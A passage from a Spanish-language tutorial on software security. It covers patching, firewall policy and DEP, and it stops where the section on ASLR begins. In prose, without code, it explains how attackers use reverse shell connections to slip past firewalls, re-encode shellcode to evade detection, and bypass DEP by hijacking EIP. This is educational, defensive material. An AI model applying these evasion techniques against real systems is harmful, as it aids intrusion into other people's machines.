van encaminadas a tapar los fallos de seguridad que se van descubriendo. Cuanto ms crece el
software o ms complejo es, es ms normal el tener ciclos de actualizaciones ms cortos,
actualizaciones automatizadas, compatibilidad con las medias de seguridad del sistema y dada la
importancia sobre todas las vulnerabilidades de las explotaciones remotas, aquel software que tiene
una interaccin directa con Internet ser el software a tener ms en cuenta a la hora de actualizarlo.
No hay que olvidar que el software ms importante a la hora de actualizar en cualquier dispositivo
es el sistema operativo por su puesto!!

El objetivo de actualizar es evidente, si existe el fallo de seguridad X en el software que sea y dicho
software posee un parche o actualizacin para corregir dicho fallo de seguridad, un hacker no podr
hacer uso de dicha vulnerabilidad/fallo de seguridad si ya ha sido corregido en el software que
tenemos instalado. Cuanto ms actualizado est nuestro software, en teora tendremos menos
posibilidades de sufrir un ataque que explote alguna vulnerabilidad de nuestro dispositivo.
Evidentemente todo suena demasiado bueno para ser verdad, y alguien podra caer en el tremendo
error de creer que simplemente actualizando el software de su equipo de cuando en cuando estara
totalmente cubierto.

Las actualizaciones como mtodo para protegerse de los exploits/ataques delos hacker tiene tres
problemas principalmente, y tan solo uno de los 3 tiene solucin. El primero sera la paradoja del
huevo y la gallina, el segundo las polticas de empresas y el tercero las buenas o malas prcticas del
usuario.

La paradoja del huevo y la gallina la conocemos todo: Que fue antes, el huevo o la gallina?. Con
las vulnerabilidades ocurre lo mismo. Que aparece antes, el exploit/fallo de seguridad publicado o
el parche de seguridad para corregirlo? Actualmente existen un par de bases de datos de referencia
en las que se recogen la mayora de los fallos de seguridad descubiertos hasta la fecha. La CVE
(Common Vulnerabilities and Exposures) y la OSVDB (Open Source Vulnerability Database).
Cualquier usuario podra acudir a cualquiera de ellas para informarse de los ltimos informes
pblicos, que tampoco quiere decir que se recojan la totalidad de vulnerabilidades existentes, pero si
es un buen punto de partida. Lo que quiere decir todo esto es que incluso un Script Kiddie podra
acceder a estas bases de datos, informarse de algn fallo de seguridad de algn software y buscar un
exploit para l. La preguta del milln y lo que nos lleva a la paradoja de la gallina y el huevo sera si
las empresas/organizaciones/particulares del software vulnerable sacan los parches una vez que ya
ha sido publicada dicha vulnerabilidad, con lo que existe una gran probabilidad de que dicho fallo
de seguridad haya sido aprovechado en cientos o miles de equipos, o si por el contrario el exploit o
fallo de seguridad se ha conocido a raz de que la propia empresa publicase la vulnerabilidad junto
con el parche para evitarla. Pues en este caso, a veces es la empresa la que acta primero, y otras
veces son los terceros los que actan primero, y es por ellos por los que las empresas se ven
forzadas a lanzar el parche de actualizacin.

Por otro lado he dicho las polticas de empresas, y esto es un problema muy muy grande. Muchas
empresas, como por ejemplo la misma Apple, cree que lo mejor ante una vulnerabilidad es no decir
nada, no darse prisa en parchearla, no darle la menor importancia hasta que se tenga constancia de
que dicha vulnerabilidad ha sido ya explotada. El problema es que cuando se sabe fehacientemente
que dicha vulnerabilidad ha sido utilizada, es porque han cado miles y decenas de miles de equipos.
Estas empresas, en la que sin duda alguna repito Apple es especialista, creen que si no lanzan un
boletn de seguridad explicando los fallos de seguridad encontrados en la semana (por ejemplo), no
se podrn crear exploits para dichas vulnerabilidades. Bien, esto es cierto para los Script Kiddies,
para los hackers estas prcticas es algo as como el azcar o la cafena que necesitan para poder
hacer el mayor dao posible. Al otro lado de la baraja tendramos la comunidad open Source, en el
que el software es de cdigo abierto. Esto evidentemente puede verse a priori como un riesgo para
la seguridad de dicho software, ya que TODOS pueden ver el cdigo y buscarle todos los fallos de
seguridad posible. En cambio la prctica nos dice que precisamente el software open source suele
ser en trminos generales el ms seguro, precisamente porque es revisado con mayor escrutinio,
pero es tambin el que ms se actualiza. En este sentido, la mejor empresa (de software privativo
por supuesto) con la mejor poltica frente a estas amenazas es Microsoft por mucho que parezca
extrao. Microsoft publica mensualmente y sin falta sus boletines de seguridad el mismo da de la
semana desde aos. En esas actualizaciones/boletines se parchea cualquier vulnerabilidad (y otras
actualizaciones que nada tienen que ver con las vulnerabilidades) que haya sido descubierta tanto
por MS como por terceros. Si la vulnerabilidad se ha clasificado como crtica, el boletn de
seguridad suele llegar a Windows Update en cualquier momento, generalmente en cuanto la
actualizacin est lista, sin necesidad de esperar a la publicacin estndar.

Las polticas del propio usuario seran igual de importante. No todos los software disponen de
procedimientos para actualizaciones automticas programadas como por ejemplo Windows o
Firefox, la mayora del software de echo no dispone de estos procedimientos, y generalmente es el
usuario quien tiene que tomarse la molestia de actualizar su software (generalmente esto excluye a
Linux). Si tenemos un servidor en el que tenemos instalado por ejemplo un servidor web Apache y
se descubre una vulnerabilidad que afecta a la versin Apache que tenemos instalada, por mucha
prisa que se diese la fundacin Apache en lanzar la actualizacin hasta que el administrador de
dicho servidor no quisiese instalar dicha actualizacin el servidor sera vulnerable. Es decir que
muchas veces (la mayora posiblemente) es el usuario el que por desgana, por desconocimiento o
por cualquier otra razn no mantiene actualizado el software de su equipo. Esto que lo haga un
particular mal est, pero que lo haga un administrador de una PYME/empresa/organizacin es
algo casi sacrlego. Una cosa es que los administradores de sistemas sean recelosos siempre de
instalar nuevas versiones que puedan hacer que las aplicaciones que manejan dejen de ser
compatibles y otros problemas similares, y otra cosa muy diferente es no parchear actualizaciones
de seguridad. Aun as, siempre que se pueda, hay que mantener el software actualizado, aunque a
veces ello implique alguna incompatibilidad, que por supuesto se deber de solucionar. Por muchas
actualizaciones que existan, si la persona a cargo no actualiza de nada sirven.

Desde el punto de vista del usuario, no puede hacer nada por el primer problema o el segundo, ya
que depende exclusivamente de las empresas y programadores en los que pone su confianza, pero al
menos si puede hacer frente al tercer problema, y es donde hay que hacer mucho mucho hincapi,
porque la mayora de los usuarios no es consciente del problema que tiene entre manos. Un ejemplo
real de hace unas semanas. Esto es extrapolable a cualquier dispositivo porttil por supuesto, pues
bien, cuando sale en los medios una vulnerabilidad crtica por ejemplo de iPhone, que por medio de
un PDF se puede obtener el control total de este, nadie parece afectarle demasiado, asegurando que
en unos das a mucho tardar Apple lanzara una actualizacin. Aqu automticamente entran en
juego los tres problemas anteriormente explicados. Primero, la paradoja del huevo y la gallina nos
est diciendo que si la noticia est saltando ahora a la prensa, dicha vulnerabilidad existe ya en los
crculos hacker desde hace meses!! Esto quiere decir que desde hace meses hasta la fecha de la
comunicacin a los medios cualquier hacker ha podido hacerse con el control de cualquier iPhone
por medio de esta vulnerabilidad. En segundo lugar, la poltica de empresa por muy buena que sea
(y la de Apple en este aspecto es casi la peor), har que la actualizacin est lista aun con muchos
das por delante aun, lo cual implica que incluso hacindose pblica la noticia de la vulnerabilidad,
Apple no dispondr una actualizacin hasta pasadas unas semanas!! Es decir, a los meses en los que
la vulnerabilidad tan solo era conocida para el mundo hacker ahora le sumamos las semanas o
meses que pueda tardar Apple en lanzar la actualizacin, con lo que implica adems que los Script
kiddies y otros estarn al tanto de dicha vulnerabilidad dado que ha salido hasta en la prensa. Pero
para colmo de males est la poltica de actualizaciones del usuario, la cual nos dice que aunque
Apple lance la actualizacin semanas o meses despus desde el comunicado a la prensa, el usuario a
lo mejor no actualiza su dispositivo con esa versin hasta semanas, meses e incluso aos!! Lo que
hace que sea todo ello un caldo de cultivo para cualquier hacker.

Por culpa de los tres puntos citados, incluso una vulnerabilidad supuestamente antigua puede afectar
a un nmero increblemente grande de dispositivos. Muchas veces no hace falta una vulnerabilidad
tipo Zero-Day (es decir, una vulnerabilidad nueva no publicada) para tomar el control de un equipo,
y simplemente usando un exploit con aos de antigedad se puede lograr el asalto por culpa del
administrador de ese sistema o por culpa de que la empresa no lanz en su da una actualizacin
para dicho fallo de seguridad. Lo peor de todo ello es que esto puede sonar un poco a ciencia
ficcin, pero la realidad es que todo esto est pasando ahora mismo en cientos de miles de equipos
de todo el mundo.

De todos modos, en el mejor de los casos de que las compaas sean totalmente honestas y tengan
ciclos de actualizacin muy regulares y el usuario sea un extremista de la seguridad, no se est
exento de problemas. Como ya he nombrado, las vulnerabilidades tipo Zero-Day son constantes. Un
buen hacker podr casi con total seguridad estudiar un sistema el tiempo necesario para lograr
encontrarle el fallo de seguridad necesario para llevar a cabo sus planes, sin necesidad de acudir a
un boletn de seguridad o a alguna vulnerabilidad ya publicada, ser el quien la descubra, la
aproveche y la guarde en su cajn, a fin de cuenta si nadie se da cuenta de ella o quienes se dan
cuenta de ella no la hacen pblica, este hackers u otros podrn explotarla a su voluntad por meses o
aos que pasen. Eso evidentemente nos est diciendo que las mejores vulnerabilidades no son
precisamente las que se publican, y que en el arsenal de un buen hacker siempre hay alguna que otra
sorpresa desagradable para los programadores. Si un buen hacker quiere atentar contra el navegador
Safari por ejemplo, lo mejor que puede hacer es coger la ltima versin de este y sacarle todos los
fallos de seguridad que pueda. Si a lo mejor posee 10 vulnerabilidades capaces de realizar ejecucin
remota, las guardar. Quizs con el tiempo Apple parchee algunas de ellas, pero si posee 10 y le
tapan a lo mejor 3, aun dispondr de 7 puertas para hacer y deshacer a su antojo. Pues bien, esto es
lo que pasa a groso modo en los concursos de seguridad como el Pwnt2Own, los expertos van con
ms de una sorpresa bajo la manga. Si en el momento de la exposicin dichos fallos an no han sido
tapados, el experto podr con suerte llevar a cabo su castigo contra el navegador+Sistema
Operativo objetivo. Por supuesto, en todo lo que se est hablando hasta ahora se presupone que el
sistema operativo no pinta nada en ello, pero como veremos ms adelante los hackers no solo se
tienen que enfrentar a la meticulosidad de los programadores del software atacado, sino que se las
tendr que ver con el propio Sistema operativo.

Al igual que como se llama este pequeo apartado, lo recalco de nuevo, lo aconsejo y lo grapara en
la frente de cualquiera: Seores, Actualizar el software, instalar siempre las actualizaciones de
seguridad, no dejarlo todo en manos del destino, ACTUALIZAR, ACTUALIZAR, ACTUALIZAR.
Jams pensar que si no se ha lanzado una actualizacin significa que no hay vulnerabilidades,
simplemente que el propietario del software no la ha publicado.

Firewalls

Sobre los cortafuegos podramos dedicar todo un volumen completo a ellos y posiblemente aun as
nos quedaramos cortos. Qu tiene que ver un Firewall en las vulnerabilidades? Bueno pues
depende del tipo de vulnerabilidad que tengamos entre manos, si no es una vulnerabilidad remota
poco o nada tiene que ver con todo esto, en cambio si hablamos de vulnerabilidades remotas, el
Firewall ser una pieza casi esencial.

Los Firewall son piezas de software/hardware que vigilan el trfico de red que sale y entra de un
equipo/sistema. Si un Firewall se configurase en un momento dado como bloqueo total de
conexiones entrantes y salientes, los equipos detrs de l estaran totalmente protegidos de cualquier
ataque exterior. Evidentemente bloquear totalmente las conexiones entrantes y salientes no es que
sea algo muy comn. La cuestin es que si el Firewall es el vigilante de todas las comunicaciones
de red, en l recaer el papel imprescindible de monitorizar de algn modo ese trfico de datos que
pudiese ser en un momento dado un ataque externo. Esto podra ser casi la panacea contra cualquier
vulnerabilidad remota, el problema es que los Firewall siempre estn sometidos a las necesidades
del equipo o equipos que tiene detrs de l. No es lo mismo la configuracin y las polticas de
seguridad que puede poseer un Firewall para proteger equipos domsticos que servidores que
grandes redes empresariales. Esto hace que muchas veces los Firewalls tan solo sean capaces de
impedir cierto tipo de amenazas. No es que no puedan bloquear otro tipo de amenazas, solo que
normalmente no es factible, o simplemente imposible para el entorno que necesitamos.

As, los Firewall poseen digamos dos configuraciones bsicas, que dependen en primera instancia
de si lo que tenemos detrs de uno de ellos es un equipo llamemos domstico o un servidor.

Por regla general cualquier Firewall domstico (la mayora de puertas de enlace residenciales lo
son), posee dos medidas de proteccin que ya de por s logran filtrar una gran cantidad de ataques
externos: NAT y el bloqueo de conexiones entrantes. NAT en s mismo hace las funciones de
Firewall muchas veces, pero este efecto es secundario. NAT lo que logra hacer en estas puertas de
enlace residenciales es que la misma IP pblica que nos da el ISP pueda ser compartida por todos
los dems equipos de la red interna. Para realizar esto, NAT funciona en uno de sus modos de
operacin, generalmente en Full NAT o Cone NAT port restricted. Dado que esto fue detallado en
otro tema, aqu no vamos a entrar en detalle, pero digamos que el efecto que produce es que ningn
equipo exterior puede iniciar ninguna conexin con ningn equipo interior sin que este la haya
solicitado anteriormente. Del mismo modo, las polticas de los Firewalls por defecto en este tipo de
dispositivos hace lo mismo, bloquear por defecto todas las conexiones entrantes no solicitadas al
router. A veces es el Firewall del router el que crea un NAT y a veces es un dispositivo NAT el que
acta de Firewall, pero el comportamiento es similar.

La idea detrs de estas polticas de seguridad es evidente. Un equipo domstico en el 99% de las
veces de todas las conexiones que realiza son a equipos remotos (peticiones web, peticiones a
servidores DNS o de correo electrnico, Telnet, FTP en modo pasivo), y como tales son
conexiones salientes. Evidentemente las conexiones TCP son bidireccionales, es decir que aunque
un equipo inicie la conexin el otro tambin se comunicar con el cliente, pero esto no es un
problema ya que lo que se filtra de nuevo son las conexiones NO SOLICITADAS. Es decir, si
queremos ver la web de Google lanzamos una peticin a sus servidores, esta es devuelta a nuestro
router y este verifica que efectivamente nuestro equipo haba lanzado una peticin a dicho host por
dicho puerto, y por ello nos reenva la informacin recibida del servidor de vuelta a nuestro equipo.
Pero si por cualquier anomala el servidor de Google quisiese enviar su web a nuestro router sin que
este la hubiese solicitado, dicho flujo de informacin quedara totalmente filtrado por el Firewall.
Este comportamiento ya de por s no est exento de problemas, y todos sabemos que es lo que
sucede muchas veces: Tenemos que abrir puertos. Precisamente el abrir puertos es una
consecuencia directa a este comportamiento!! Cuando una aplicacin que tenemos en el equipo
requiere de la apertura de un puerto, es debido a que dicha aplicacin puede recibir datos externos
en cualquier momento sin que dicha conexin hubiese sido solicitada anteriormente!! Este es el
caso de los programas P2P, juegos online, servidores de cualquier tipo (ftp, correo, web) para
que el Firewall no filtre dichas peticiones, se le instruye para que deje pasar al equipo concreto de la
red dicha informacin.

Desde el punto de vista no obstante de un Servidor, un Firewall acta normalmente de forma muy
diferente, ya que este s tiene que permitir la comunicacin de ciertos servicios. Un servidor web
por ejemplo no puede filtrar las conexiones entrantes a su puerto 80, dado que entonces
dudosamente sera un servidor web. Pero posiblemente dicho servidor requerir tambin una serie
de servicios extras comunes, como por ejemplo el no bloqueo de las solicitudes ICMP ping (cosa
que o pasa nada por filtrar en redes domsticas), habilitar el acceso a servicios como bases de datos,
servidores proxy, servicios RDP para acceso remoto, VPN

Pero en el caso de las conexiones salientes lo normal es encontrarnos el panorama contrario. Un

equipo domstico lo normal es que est constantemente enviando peticiones al exterior y rara vez
permitiendo conexiones entrantes. Por ello casi ningn usuario por riguroso o fantico que sea suele
filtrar el contenido saliente. Es por una cuestin prctica, la lista de programas o conexiones
salientes a permitir sera muy extensa: Navegadores web, programas de mensajera instantnea,
gestores de correos, juegos, actualizaciones de cualquier programa, recursos en lnea de los
programas (cada vez ms usados), acceso a bases de datos, telnet, ftp la lista sera bastante
bastante grande. Dado que la mayora del problema suele ser las conexiones entrantes y a priori las
conexiones salientes no suponen un problema (de nuevo, a priori), se optan por modelos de filtrar
todo el contenido entrante y permitir el saliente.

Y en los servidores? Precisamente el caso contrario. Un servidor por regla general se configura de
cara a esperar conexiones entrantes, en cambio conexiones salientes sin ser solicitadas muy pocas o
ninguna. Esto quiere decir que la configuracin bsica de un servidor suele ser de filtrar el
contenido saliente (permitiendo a dedo el que s) y o permitir todo el contenido entrante o tener
reglas bastante extensas sobre que tipo de contenido s y que tipo de contenido no. Adems, los
Firewalls que tienen detrs servidores suelen tener polticas rigurosas para impedir ataques de
denegacin de servicio, ataques de fuerza bruta medidas que normalmente limitan a cierto
nmero de peticiones por segundo las conexiones que vienen de un equipo concreto.

La relevancia con las vulnerabilidades es clara. Si se pudiese filtrar todas las conexiones maliciosas
(tanto salientes como entrantes) generadas por los ataques de los hackers, se lograra suprimir el
100% de las vulnerabilidades remotas. Evidentemente esto sera en felizonia donde todo fuese
perfecto, en la vida real no es as. En la vida real los hackers saben de sus amigos los Firewalls, y
existen medidas para sortearlos. La forma ms habitual es la que comentamos cuando explicbamos
a groso modo un Shellcode. Generalmente los firewalls domsticos estn preparados para denegar
las conexiones entrantes, pero un exploit se puede inyectar de muchas formas. Por ejemplo, si se
trata de un exploit de un navegador, se hace que el navegador caiga en una web trampa, con lo que
la comunicacin la estara iniciando el equipo remoto y no el hacker, el Firewall ni se coscara. Si el
exploit afecta a un servidor de FTP sera lo mismo, este permitira como tal las conexiones entrantes
a ese servicio y por tanto el exploit sera viable. El problema aparece no una vez lanzado el exploit,
sino con el tipo de cdigo que se ha inyectado, el cual generalmente es un shellcode o un programa
para acceso remoto. Este programa inyectado por as decirlo, debe de permanecer con el tiempo en
el equipo afectado, no solo en el momento de la inyeccin del cdigo y su ejecucin.
Tradicionalmente, los firewall eran una pesadilla para estos, dado que estas shellcode o programas
funcionaban actuando como servidores, es decir permanecan a la escucha de conexiones entrantes,
con lo que cualquier firewall filtraba generalmente cualquier posible comunicacin con ellos.
Entonces se opt por el uso de las conexiones inversas. Las conexiones inversas funcionan igual,
solo que es el equipo o servidor del hacker el que acta de servidor a la espera de conexiones
entrantes, y es el equipo remoto el que una vez afectado por el exploit inicia la comunicacin con el
equipo dele hacker. Dado que en este caso son conexiones salientes, lo normal es que los Firewall
no se den cuenta de lo que est pasando.

Las conexiones inversas sin embargo tienen pequeas incomodidades. Primero, el hacker tiene que
preparar su red para aceptar las conexiones a su programa que haga de servidor, y dejar
constantemente su software a la escucha de dichas conexiones, o de lo contrario el hacker tendra el
mismo problema que el host atacado con las conexiones directas. Por otro lado, codificar una
shellcode inversa ocupa ms que un shellcode directo, y siempre es preferible usar la mnima
cantidad de bytes posibles para llamar menos la atencin. Por ltimo, en este caso el hacker no
podr jams iniciar la conexin, depender en todo momento de que el cliente inicie la conexin.
Esto normalmente se hace haciendo que el software inyectado en el cliente est cada pocos
segundos reintentando la conexin remota, con lo que se hace ms ruido que una conexin
puntual.
Otra arma habitual de los Firewalls es detectar directamente ataques comunes, como precisamente
conexiones cuyo trfico de datos concuerda con el patrn de una shellcode. Lo que sucede es que
igual que esto es fcil de detectar por un firewall o un Antivirus, es igualmente sencillo por un
hacker recodificar su shellcode de incluso un milln de formas diferentes para evitar la deteccin.
Esto es algo muy habitual, el crear una shellcode que no pasa las medidas de seguridad del equipo
remoto, se recodifica y al segundo o tercer intento se tiene xito.

Los Firewalls no son inservibles, pero siempre hay que intentar en la medida de lo posible no
dejarles agujeros de seguridad del tamao de balones de baloncesto. Nunca abrir puertos que no se
necesitan, nunca habilitar servicios que no se usen, usar detectores de escaners, bloquear las
peticiones de ICMP entrantes, habilitar reglas delimitadoras de conexiones por segundo por host
todo ello aunque no exime de estar a salvo, de nuevo pone las cosas ms complicadas, haciendo que
al menos el atacante tenga que molestarse en probar tcnicas ms eficientes y que consumen ms
tiempo. Pensar que gracias a los Firewalls domsticos actuales, se evitan un sinfn de exploits
increbles, y que el usuario no es consciente de ellos. Si ahora mismo todos los equipos domsticos
se conectasen directamente a internet sin Firewall ni puertas de enlaces residenciales, atacar
cualquiera de ellos sera un juego de nios, al da siguiente aparecera en prensa algn
exploit/malware que se estara propagando como la espuma, sobre todo en equipos ms antiguos
como Windows XP o como MAC OS X (desde Leopard a Lion). As que aunque no seamos
consciente muchas veces de las capas de proteccin que tenemos, muchas veces hace falta
recordarlas, que porque se nos olviden no significa que no estn ah y que estn realizando un papel
importantsimo y esencial y por tanto creo que es necesario no olvidarlas nunca. Firewalls? SI.

Como apunte actualmente no creo que sea necesario el uso de Firewalls por medio de software de
terceros. Tanto Windows, Linux y MAC OS poseen Firewalls integrados bsicos que cumplen con
la mayora de las tareas necesarias, y el resto lo hace las puertas residenciales de los usuarios. En
cambio si es muy preocupante su inexistencia en la mayora de dispositivos porttiles. Igual que los
equipos convencionales como porttiles o sobremesa generalmente se conectan a Internet por medio
de puertas de enlace residenciales, los dispositivos porttiles que hacen uso de las redes 3G NO!!!
Es decir, estn conectados directamente a Internet. Esto provoca que asaltar cualquier dispositivo de
este tipo sea infinitamente ms sencillo. Por ejemplo, como demostr en el artculo de Como
controlar unos miles de iPhone de forma remota, la seguridad nula por parte de Apple en iOS y la
inexistencia de ningn tipo de Firewall siquiera bsico haca que mi ataque fuese a la par de simple
efectivo. Por ello, encontrar una vulnerabilidad en un PC es complicado, pero explotarla es mucho
ms complicada pero explotarla en un dispositivo con un iPhone es tremendamente sencillo, con
el dao aadido que ocasiona, dado que son dispositivos con servicios muy golosos para un hacker,
como GPS, conexione permanente por 3G, agenda, SMS, registros de llamadas, gestores de
correo pero es algo que parece no afectar al usuario domstico evidentemente por total
desinformacin. No quita que ante esto los Hacker se frotan las manos, y muestran anualmente en
los concursos como el Pwn2OPwn o el Blak Hat lo simple que es tomar el control de este tipo de
dispositivos, curiosamente sobre todo cuando estos son iPhone o MAC OS.

Data Execution Prevention (DEP)

DEP fue una tecnologa que se cre en los tiempos de Windows XP SP2 (implementada por
Microsoft por primera vez, creo que antes incluso de Linux) y posteriormente mejorado y
universalizado su uso, tanto en Windows como en el resto de sistemas operativos, incluso en los
dispositivos porttiles. DEP tiene la finalidad de impedir o limitar en la medida de lo posible los
efectos que puede causar las vulnerabilidades que afectan a la memoria del equipo, que como
hemos visto seran los desbordamientos de Buffers o los punteros sueltos. Esto lo volveremos a ver
ms adelante en otros captulos, y comprenderemos mejor el efecto que produce DEP.
DEP tiene dos modos de funcionamiento o implementaciones por as decirlo, puede tener una
implementacin simplemente basada en software, o puede tener una implementacin basada tanto
en software como en Hardware, que es la que posiblemente estemos usando la mayora de los
usuarios, aunque ellos no sean conscientes de ellos. Pero en ambos casos el funcionamiento de DEP
y su modus de accin son similares.

Como hemos podido ver, el mayor riesgo que se puede tener es que un atacante logre la ejecucin
arbitraria de cdigo en el equipo atacado, y como hemos visto por encima, ese cdigo ejecutado
generalmente es un cdigo inyectado en el equipo objetivo gracias a la vulnerabilidad que sea, la
cual hace que dicho cdigo se ejecute en el proceso. Recordemos el shellcode expuesto. Pero a
nadie se le escaba si ese cdigo inyectado no deja de ser a fin de cuenta un pequeo programa, este
debe de atenerse a las mismas reglas de cualquier otro programa!! Esto quiere decir que dicho
cdigo debe de estar en memoria antes de que sea ejecutado por el procesador y aqu es donde
entra en accin DEP. Por regla general como se ver en el captulo sobre los desbordamientos de
buffer y punteros sueltos, el cdigo inyectado generalmente se logra colocar en el mismo espacio de
memoria que ocupa el proceso vulnerable. Es decir que si el fallo de seguridad se explota en
Chrome, cuando se inyecte el cdigo malicioso casi con toda seguridad este se colocar en algn
lugar del espacio de memoria que Chrome tena reservado para s mismo, y no en cualquier espacio
de memoria del sistema de forma aleatoria. Esto se debe a que en Windows (en los otros OS es muy
similar) usa un sistema de memoria plana y memoria virtual, el cual hace que cuando se ejecuta una
aplicacin, esta posee un espacio de memoria propio lineal de 4GB si es un proceso de 32 bits y
128TB (si la memoria no me falla) en procesos de 64bits. Esto no tiene nada que ver con la
memoria del sistema ojo, cada proceso tiene su propio espacio dentro de la memoria virtual, y el
tamao de este espacio de memoria lineal depender evidentemente de la memoria que necesite el
proceso, y si es necesario incrementarla se incrementar. En cualquier caso (aqu no estamos
explicando hoy el funcionamiento de la RAM del sistema), la cuestin es que el cdigo inyectado
va a parar generalmente al espacio de memoria reservado por la aplicacin.

Este tipo de vulnerabilidades como hemos dicho, despus de inyectar el cdigo malicioso tiene que
ejecutarlo enviando al procesador dichas instrucciones. Pero qu pasara si el sistema tuviese un
sistema por el cual pudiese marcar ciertas zonas de la memoria como no ejecutables? Eso es lo que
hace exactamente DEP. Por regla general, el nico cdigo que se debe de ejecutar es el que el
programador codifica cuando est creando la aplicacin. Cuando la aplicacin se ejecuta en un
sistema como Windows, la memoria asignada a dicho proceso se divide en 3 partes
fundamentalmente: El cdigo, la pila (stack) y el heap (no s si hay una traduccin al espaol para
este trmino la verdad). La zona de la memoria del cdigo contienen precisamente el cdigo
mquina de las instrucciones que sern ejecutadas en el procesador, mientras que el stack y el Heap
mantendrn los datos que se manejarn en la ejecucin de dicho programa, como por ejemplo las
estructuras de datos, variables, matrices En un momento dado a alguien se le ocurri algo
inteligente: Bueno, si el nico cdigo que se ejecuta es el que pertenece al segmento de cdigo y los
otros dos segmentos jams contendrn cdigo a ejecutarse, por qu no creamos por hardware un
sistema que marque dichos segmentos (en realidad se marcan pginas de memoria) como no
ejecutables?

Con esta idea en mente, si la misma vulnerabilidad colocase cdigo malicioso en el stack o el heap
del proceso y dichos segmentos estuviesen marcados como pginas de memoria de no ejecucin, el
procesador jams ejecutara dichas instrucciones, con lo que el exploit jams tendra xito. De este
modo se comenz la fabricacin hace ya aos de una nueva caracterstica en los procesadores
actuales llamado bit NX por sus siglas: No eXecute. No obstante cada fabricante le da el nombre
que un poco le da la gana. Por ejemplo, Intel lo llama desde bit XD (eXecutable Disabled), AMD lo
llama tanto NX como Advanced Virus Protection pero en todos los casos es exactamente lo
mismo. El bit en concreto es el bit 63 (el bit ms significativo). Si este bit est activado, entonces
dicha pgina de memoria a la que hace referencia el resto de bits est marcada como solo datos, y
por tanto el procesador no ejecutar ninguna instruccin que se encuentre en alla. Si el bit est
deshabilitado la pgina se entender como ejecutable. Dado que hablamos del bit 63, es necesario
que el sistema est usando un procesador y un OS de 64 bits un sistema de 32 bits usando
procesos PAE (un sistema para que los procesos en 32bits puedan tener acceso por encima de los
4GB de memoria que por limitacin intrnseca tienen)

DEP es la implementacin en Windows (y como se conoce a este mtodo en general en cualquier

mbito) a esta capacidad de los procesadores actuales. De este modo, si un programa es compilado
con DEP, cuando el OS lo cargue en memoria se marcarn las pginas de memorias que NO
CONTIENEN EL CCIGO como no ejecutable, y de este modo, tericamente siempre hablando, se
impedira la ejecucin de cualquier contenido que se pudiese inyectar en dichas regiones de
memoria protegidas. DEP ha tenido un impacto sin precedentes en aquellos equipos con el soporte
hardware adecuado y bajo un OS con una implementacin total de DEP en l. Actualmente el
soporte hardware no es un problema, ya que el 100% de todos los procesadores que se venden,
incluso la gran mayora de procesadores tipo ARM de los dispositivos porttiles, disponen de esta
medida de seguridad.

No obstante, al igual que es necesario el soporte hardware (que no es un problema actualmente),

DEP no puede ser eficaz si el OS que ejecuta el sistema lo tiene implementado de la forma correcta,
como es el caso de MAC OS por ejemplo. Windows posee por ejemplo 4 configuraciones o
polticas DEP:

Deshabilitado (AlwaysOFF): En modo Deshabilitado es evidente, la funcionalidad DEP ser

totalmente desactivada en todo el sistema, DEP no ser usado en ningn proceso ya sea de sistema o
no.
Siempre activado (AlwaysON): En modo Siempre activado es igualmente evidente, con total
independencia, DEP ser usado sin posibilidad de ser deshabilitado.
Activado selectivamente (OptIN): Este es el modo por defecto de Windows en sus versiones de
escritorio (no servidores). En este modo, DEP es habilitado por defecto para todos los procesos del
sistema, pero no es habilitado por defecto en el resto de procesos. Alternativamente un
administrador del sistema puede aadir a una lista aquellos procesos a los que quiere obligar a tener
DEP activado.
Desactivado selectivamente (OptOUT): Este modo es el establecido por defecto en las versiones
de servidores de Windows. Su funcionamiento es inverso al modo Optin. En este modo, todos los
procesos, tanto de sistema como cualquier otro, son forzados a usarse con DEP. Al igual que
ocurriese con OptIN, en este caso se puede establecer una lista de aquellos procesos que queremos
excluir de usarlos con DEP

Estas opciones, excluyendo AlwaysOff y AlwaysON dependen evidentemente del modo en el que
se compilen las aplicaciones. Es decir, si una aplicacin se compila con el flag DEP Permanente,
significa que a menos que el sistema est configurado como AlwaysOff siempre se ejecutar con la
proteccin DEP activada, y sin posibilidad adems de modificar su configuracin hasta que el
proceso sea detenido. En otras ocasiones, un proceso puede ser ejecutado con DEP pero puede
permitir en tiempo de ejecucin la modificacin de su poltica respecto a DEP (por ejemplo porque
el programa lo requiera).

Actualmente, hay que decir que la gran mayora de todo el software bajo Windows se ejecuta con la
proteccin DEP activada, excluyendo en todo caso actualizaciones (que en s mismas son
programas), parches, malware y otros. Por poner un ejemplo, en la estacin en la que estoy
redactando estas palabras se estn ejecutando 50 procesos, de los cuales tan solo uno de los
procesos, googletalkplugin.exe, se ejecutara sin proteccin DEP (por cierto, un tirn de orejas para
Google, ya que debera de ser compilado con DEP). En mi caso particular, al tener configurado
DEP como OptOut se ejecutara tambin con DEP activado. Del resto de los 49 procesos, aquellos
que son ms susceptibles de ser atacados (navegador, gestor de correos, aplicaciones que hacen uso
de Internet en general) adems estn compilados con DEP permanente, lo que impide totalmente
que se pueda modificar su configuracin en tiempo de ejecucin.

Por supuesto, esto no significa que DEP sea igualmente un sistema totalmente perfecto, y por
desgracia para unos y suerte para otros es algo que puede circunvalarse, aunque por supuesto
requiere de una mayor habilidad, ingenio, tiempo Actualmente existen ms de una alternativa
para poder saltarse DEP, algunas dependen del proceso en cuestin, otras de si el sistema usa otras
medidas de seguridad como ASLR Quizs la forma ms simple para ver un ejemplo de cmo se
podra saltar DEP, es con lo que se ha explicado aqu. Como hemos dicho, algunos procesos pueden
compilarse para que sea imposible modificar la seguridad DEP una vez el proceso se ha ejecutado,
lo que hemos llamado DEP permanente. Esto nos dice que debe de existir por tanto algn sistema
por el cual sea posible en tiempo de ejecucin modificar la seguridad DEP al vuelo. Si se
deshabilita DEP para dicho proceso antes de ejecutar el cdigo malicioso, el ataque tendra xito.
Dado que se presupone que ya se dispone de una vulnerabilidad de ejecucin remota, se tiene por
tanto control sobre el registro EIP (el contador del sistema, el registro del procesador que indica la
prxima instruccin a ejecutarse) es posible hacer que el procesador ejecute la rutina de
desactivacin de DEP de dicho proceso, solo hay que indicarle en que zona de la memoria se
encuentra dicha instruccin, y volver de ella para ejecutar el cdigo inyectado. Este sistema
funciona francamente bien, siempre y cuando no se disponga de otras tecnologas como ASLR o
que el programa no est configurado como DEP permanente. No obstante, es tan solo una de las
varias opciones de las que dispone un Hacker para saltarse las medidas de seguridad.

Address Space Load Randomization (ASLR)

En conjuncin con DEP, sin duda alguna son las mayores bazas con las que cuenta actualmente
nuestros dispositivos como medidas activas para frenar o atenuar el efecto de las vulnerabilidades.
Al igual que DEP, ASLR funciona en el propio corazn de nuestros Sistemas Operativos,
